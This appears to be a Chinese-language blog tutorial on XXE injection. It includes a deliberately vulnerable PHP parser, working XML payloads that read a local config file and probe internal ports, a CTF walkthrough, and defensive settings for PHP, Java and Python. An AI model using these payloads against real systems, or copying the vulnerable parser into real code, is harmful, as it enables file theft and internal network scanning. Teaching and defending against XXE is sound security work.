渗透之路基础 -- XXE注入漏洞

XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

类似于文件包含漏洞--通过加载XML文件并调用配置文件,来实现注入

造成漏洞的代码:

<?php
$xml=$_GET['x'];
$data=simplexml_load_file($xml);
var_dump($data);
?>

simplexml_load_file php解析外部实体须在 php << 5.5.38

文件任意读取

读取 file.xml 代码如下:

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
    <!ENTITY file SYSTEM "file:///c:/config.ini">
]>
<x>&file;</x>
<!-- 引用外部实体 -->

1404622-20190917101905058-49914176.png

访问 http://192.168.80.128/test/xml/test.php?x=file.xml

1404622-20190917101913428-1604881053.png

端口扫描

读取 port.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<root>
<name>&xxe;</name>
</root>

访问 http://192.168.80.128/test/xml/test.php?x=port.xml

没有报错,说明端口存在并且开放

1404622-20190917101923032-755100737.png

如果将端口改为不存在的端口 180

1404622-20190917101929466-586926155.png

访问 http://192.168.80.128/test/xml/test.php?x=port.xml

1404622-20190917101937896-2049018426.png

某CTF题

http://web.jarvisoj.com:9882/

1404622-20190917101944415-864142792.png

  • 返回信息为 json 格式

1404622-20190917101950106-1170914270.png

  • 然后 burp抓包分析

1404622-20190917101954955-1390838578.png

  • 尝试xml注入,抓包重发

1404622-20190917101959815-1176320444.png

XML后门的利用

php动态创建xml,植入后门

防御XXE攻击

使用开发语言提供禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM 和 PUBLIC。

不允许XML中包含有自己定义的DTD

https://www.cnblogs.com/miyeah/p/4526088.html

外部引入DTD文件

1404622-20190917102008301-2073544376.png

编写XML注入代码

1404622-20190917102012607-1171338497.png

访问 http://192.168.80.128/test/xml/test.php?x=xxe-dtd.xml

可以读取出文件信息达到文件读取利用

1404622-20190917102019071-1811696717.png

转载于:https://www.cnblogs.com/r0ckysec/p/11532013.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值